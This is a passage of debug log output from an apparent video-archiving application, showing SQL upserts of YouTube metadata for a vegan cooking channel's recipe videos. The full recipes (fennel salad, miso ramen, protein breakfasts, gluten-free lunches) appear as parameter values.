syrup\n1 tbsp olive brine\n3 tbsp olive oil, plus extra for brushing\nsalt & pepper\n\n1. Preheat your oven to 400°F (375 if using convection) and line 1 to 2 baking trays with parchment paper.\n2. Slice the fennel bulb lengthwise into several 'planks' and arrange them flat on the baking tray, leaving a little bit of space between each piece if possible. Slice the radishes in half and also place on a baking tray.\n3. Lightly brush the fennel pieces and radishes with a small amount of olive oil (both sides) and sprinkle the coriander, salt and pepper over them. Pop in the oven and bake for about 35 to 40 minutes until they are golden around the edges and begin to look softened and slightly caramelized.\n4. While the veg bakes, heat 1 tbsp oil in a skillet and and the chickpeas. Stir to evenly coat them in the oil and add the garlic powder and salt/pepper to taste. Cook them on medium-high heat for 12-15 minutes, stirring frequently, until they're a dark golden colour and fairly crispy.\n5. While the chickpeas are frying, make the salad dressing. In a jar or bowl, add the minced garlic, lemon zest, dijon mustard, olive brine, maple syrup, olive oil and salt/pepper and shake/whisk vigorously to combine and emulsify. Remove the veg from the oven and let cool for 5 mins.\n6. Arrange your choice of salad greens in a large bowl or plate and add the warm fennel, radishes, and crispy chickpeas overtop, followed by a handful of the fennel fronds (whispy looking things) and the salad dressing.\nEnjoy on its own as a light lunch or with a cooked grain of choice for a more filling, bulked up meal! \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\nMusic by Mark Generous, Jasper The Cat - Last Week Of School - https://thmatc.co/?l=33FD1557", "SALAD THAT ISN'T BORING! Roasted fennel, radish and crispy chickpeas = SO GOOD! 🤤", "6554da3f-5a14-4939-bd6b-169fba8c0a56", 1, [], false, "MDx3UEIJp5U", "https://www.youtube.com/watch?v=MDx3UEIJp5U", 295, "/downloads/downloads/alec/Steamy Vegan/2023-06-17 SALAD THAT ISN'T BORING! Roasted fennel, radish and crispy chickpeas = SO GOOD! 🤤/SALAD THAT ISN'T BORING! Roasted fennel, radish and crispy chickpeas = SO GOOD! 🤤 [MDx3UEIJp5U].NA", false, false, false, 2, ~U[2023-06-17 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This roasted fennel, radish and crispy chickpea salad is anything but BORING! This summer salad uses in-season veg and roasts them to perfection to bring out their natural sweetness. Crispy chickpeas are a MUST! This salad is great for work or school lunches and is totally meal-prep friendly! Make yourself a big batch and enjoy throughout the week. 😁\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nROASTED FENNEL, RADISH & CRISPY CHICKPEA SALAD - serves 2 to 4\n1 bulb of fennel, stems and fronds removed\n2 bunches of radishes, tops and roots removed\n1 tsp ground coriander\n1 can chickpeas, rinsed and patted dry\n1 tsp garlic powder\ngreens of choice\nzest & juice of 1 lemon\n3 cloves garlic, minced\n1 tbsp dijon mustard\n½ tbsp maple syrup\n1 tbsp olive brine\n3 tbsp olive oil, plus extra for brushing\nsalt & pepper\n\n1. Preheat your oven to 400°F (375 if using convection) and line 1 to 2 baking trays with parchment paper.\n2. Slice the fennel bulb lengthwise into several 'planks' and arrange them flat on the baking tray, leaving a little bit of space between each piece if possible. Slice the radishes in half and also place on a baking tray.\n3. Lightly brush the fennel pieces and radishes with a small amount of olive oil (both sides) and sprinkle the coriander, salt and pepper over them. Pop in the oven and bake for about 35 to 40 minutes until they are golden around the edges and begin to look softened and slightly caramelized.\n4. While the veg bakes, heat 1 tbsp oil in a skillet and and the chickpeas. Stir to evenly coat them in the oil and add the garlic powder and salt/pepper to taste. Cook them on medium-high heat for 12-15 minutes, stirring frequently, until they're a dark golden colour and fairly crispy.\n5. While the chickpeas are frying, make the salad dressing. In a jar or bowl, add the minced garlic, lemon zest, dijon mustard, olive brine, maple syrup, olive oil and salt/pepper and shake/whisk vigorously to combine and emulsify. Remove the veg from the oven and let cool for 5 mins.\n6. Arrange your choice of salad greens in a large bowl or plate and add the warm fennel, radishes, and crispy chickpeas overtop, followed by a handful of the fennel fronds (whispy looking things) and the salad dressing.\nEnjoy on its own as a light lunch or with a cooked grain of choice for a more filling, bulked up meal! \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.c (truncated) 20:31:08.263 [debug] QUERY OK source="sources" db=0.7ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.266 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-14 00:00:00Z], 1] 20:31:08.269 [debug] QUERY OK source="media_items" db=1.5ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to master this Creamy Vegan Miso Mushroom Ramen in just minutes. The broth in this recipe is NEXT LEVEL DELICIOUS! A total flavour explosion. 😍 If you're looking for a quick and easy weeknight dinner that the whole fam will love, this is IT!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "CREAMY VEGAN MISO MUSHROOM RAMEN! A total flavor EXPLOSION 🤯", "b9304d03-06d5-480e-850f-aaadd48e6455", 1, [], false, "A0u3nMwy5PE", "https://www.youtube.com/watch?v=A0u3nMwy5PE", 296, "/downloads/downloads/alec/Steamy Vegan/2023-06-14 CREAMY VEGAN MISO MUSHROOM RAMEN! A total flavor EXPLOSION 🤯/CREAMY VEGAN MISO MUSHROOM RAMEN! A total flavor EXPLOSION 🤯 [A0u3nMwy5PE].NA", false, false, false, 1, ~U[2023-06-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you how to master this Creamy Vegan Miso Mushroom Ramen in just minutes. The broth in this recipe is NEXT LEVEL DELICIOUS! A total flavour explosion. 😍 If you're looking for a quick and easy weeknight dinner that the whole fam will love, this is IT!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "CREAMY VEGAN MISO MUSHROOM RAMEN! A total flavor EXPLOSION 🤯", 1, nil, false, "A0u3nMwy5PE", "https://www.youtube.com/watch?v=A0u3nMwy5PE", "/downloads/downloads/alec/Steamy Vegan/2023-06-14 CREAMY VEGAN MISO MUSHROOM RAMEN! A total flavor EXPLOSION 🤯/CREAMY VEGAN MISO MUSHROOM RAMEN! A total flavor EXPLOSION 🤯 [A0u3nMwy5PE].NA", false, ~U[2023-06-14 00:00:00Z]] 20:31:08.270 [debug] QUERY OK source="sources" db=0.5ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.272 [debug] QUERY OK source="media_items" db=1.9ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-10 00:00:00Z], 1] 20:31:08.274 [debug] QUERY OK source="media_items" db=1.2ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you 3 easy HIGH PROTEIN vegan breakfast ideas! 💪🏼 They're gluten-free, plant-based and so delicious. 🌱 If you aren't sure how to get lots of protein into your diet as a vegan, these recipes are proof that you don't need animal products to get all the protein you need, and then some 😉\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nRED LENTIL WAFFLES - 15g protein per waffle\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nTOFU RICOTTA TOAST - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nCHOCOLATY OVERNIGHT OATS (NO PROTEIN POWDER) - 30g protein per serving\n⅓ cup sprouted rolled oats (regular rolled oats are fine if you can’t find sprouted)\n1 tbsp chia seeds\n1 tbsp ground flax seeds \n1 tbsp hemp hearts\n2.5 tbsp pb powder, or 2 tbsp any nut/seed butter\n1 cup soy milk\n1 tbsp cocoa powder\n1 tbsp maple syrup\n1 tsp vanilla\n½ tsp cinnamon\nPinch of salt\n\n1. Add all the dry ingredients to a jar or bowl and mix until well combined.\n2. Add the remaining soy milk, vanilla and maple syrup and mix once more until well combined. Refrigerate overnight and enjoy with your favourite toppings like fresh fruit, nuts or nut/seed butter. \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Easy HIGH PROTEIN Vegan Breakfast Ideas!", "67e2de46-6aa5-4b07-97f2-d7d55ad1cb69", 1, [], false, "rXR9ElVyvOY", "https://www.youtube.com/watch?v=rXR9ElVyvOY", 297, "/downloads/downloads/alec/Steamy Vegan/2023-06-10 3 Easy HIGH PROTEIN Vegan Breakfast Ideas!/3 Easy HIGH PROTEIN Vegan Breakfast Ideas! [rXR9ElVyvOY].NA", false, false, false, 1, ~U[2023-06-10 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I'm showing you 3 easy HIGH PROTEIN vegan breakfast ideas! 💪🏼 They're gluten-free, plant-based and so delicious. 🌱 If you aren't sure how to get lots of protein into your diet as a vegan, these recipes are proof that you don't need animal products to get all the protein you need, and then some 😉\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nRED LENTIL WAFFLES - 15g protein per waffle\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nTOFU RICOTTA TOAST - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nCHOCOLATY OVERNIGHT OATS (NO PROTEIN POWDER) - 30g protein per serving\n⅓ cup sprouted rolled oats (regular rolled oats are fine if you can’t find sprouted)\n1 tbsp chia seeds\n1 tbsp ground flax seeds \n1 tbsp hemp hearts\n2.5 tbsp pb powder, or 2 tbsp any nut/seed butter\n1 cup soy milk\n1 tbsp cocoa powder\n1 tbsp maple syrup\n1 tsp vanilla\n½ tsp cinnamon\nPinch of salt\n\n1. Add all the dry ingredients to a jar or bowl and mix until well combined.\n2. Add the remaining soy milk, vanilla and maple syrup and mix once more until well combined. Refrigerate overnight and enjoy with your favourite toppings like fresh fruit, nuts or nut/seed butter. \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Easy HIGH PROTEIN Vegan Breakfast Ideas!", 1, nil, false, "rXR9ElVyvOY", "https://www.youtube.com/watch?v=rXR9ElVyvOY", "/downloads/downloads/alec/Steamy Vegan/2023-06-10 3 Easy HIGH PROTEIN Vegan Breakfast Ideas!/3 Easy HIGH PROTEIN Vegan Breakfast Ideas! [rXR9ElVyvOY].NA", false, ~U[2023-06-10 00:00:00Z]] 20:31:08.275 [debug] QUERY OK source="sources" db=0.5ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.277 [debug] QUERY OK source="media_items" db=1.6ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-07 00:00:00Z], 1] 20:31:08.279 [debug] QUERY OK source="media_items" db=1.4ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 3 vegan and gluten free lunch recipes are currently my go-to's for what I typically eat in a day for lunch and sometimes dinner! Two of these recipes are very meal-prep friendly and packable for work or school, the third is great at-home lunch.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either. I post every week and respond to every comment so don't be shy, I'd love to meet you in the comments section. Let me know which of the 3 you plan to try out!\n\nRECIPES IN THIS VIDEO\n\nEPIC PESTO PASTA SALAD\n1 package pasta a choice, cooked according to package directions and chilled\n1 large handful of fresh basil/cilantro/parsley\n5 cups spinach/kale/arugula\n2 cloves garlic\njuice of ½ a lemon\n¼ cup nutritional yeast\n2 to 3 tbsp extra virgin olive oil\n3 tbsp each sunflower seeds & pumpkin seeds (walnuts are great, too)\n½ tsp pink himalayan salt, and pepper to taste\n\n1. Prepare your pasta and chill in the fridge for 1 hour or up to overnight. \n2. In a food processor or high-speed blender, add all the pesto ingredients and blend on high speed until it forms a delightfully creamy texture. Adjust seasonings and oil to your liking.\n3. In a large bowl combine the chilled pasta noodles with the pesto and stir well until each noodle is coated in pesto.\n4. Optional add-ins at this point: kalamata olives, fresh or sundried tomatoes, cucumbers, bell peppers, red onion. Serve and enjoy!\n\nBBQ CHICK'N CAESAR WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0 )\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be your base instead of pizza sauce. Alternatively, you could spread pizza sauce first, then add the tofu ricotta on top :)\n3. Add any variety of veggies and pizza toppings that you like plus some vegan cheese and bake for approximately 14-18 minutes at 425°F until the crust is golden and the cheese is melted.\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVeganKitchen + #SteamyVeganKitchen! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com", "3 EASY VEGAN GLUTEN-FREE LUNCH IDEAS // What I typically eat in a day for lunch and dinner", "9722a095-fb2b-4290-b886-3b0f80d163ed", 1, [], false, "mc2qhzMw9Cg", "https://www.youtube.com/watch?v=mc2qhzMw9Cg", 298, "/downloads/downloads/alec/Steamy Vegan/2023-06-07 3 EASY VEGAN GLUTEN-FREE LUNCH IDEAS ⧸⧸ What I typically eat in a day for lunch and dinner/3 EASY VEGAN GLUTEN-FREE LUNCH IDEAS ⧸⧸ What I typically eat in a day for lunch and dinner [mc2qhzMw9Cg].NA", false, false, false, 1, ~U[2023-06-07 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These 3 vegan and gluten free lunch recipes are currently my go-to's for what I typically eat in a day for lunch and sometimes dinner! Two of these recipes are very meal-prep friendly and packable for work or school, the third is great at-home lunch.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either. I post every week and respond to every comment so don't be shy, I'd love to meet you in the comments section. Let me know which of the 3 you plan to try out!\n\nRECIPES IN THIS VIDEO\n\nEPIC PESTO PASTA SALAD\n1 package pasta a choice, cooked according to package directions and chilled\n1 large handful of fresh basil/cilantro/parsley\n5 cups spinach/kale/arugula\n2 cloves garlic\njuice of ½ a lemon\n¼ cup nutritional yeast\n2 to 3 tbsp extra virgin olive oil\n3 tbsp each sunflower seeds & pumpkin seeds (walnuts are great, too)\n½ tsp pink himalayan salt, and pepper to taste\n\n1. Prepare your pasta and chill in the fridge for 1 hour or up to overnight. \n2. In a food processor or high-speed blender, add all the pesto ingredients and blend on high speed until it forms a delightfully creamy texture. Adjust seasonings and oil to your liking.\n3. In a large bowl combine the chilled pasta noodles with the pesto and stir well until each noodle is coated in pesto.\n4. Optional add-ins at this point: 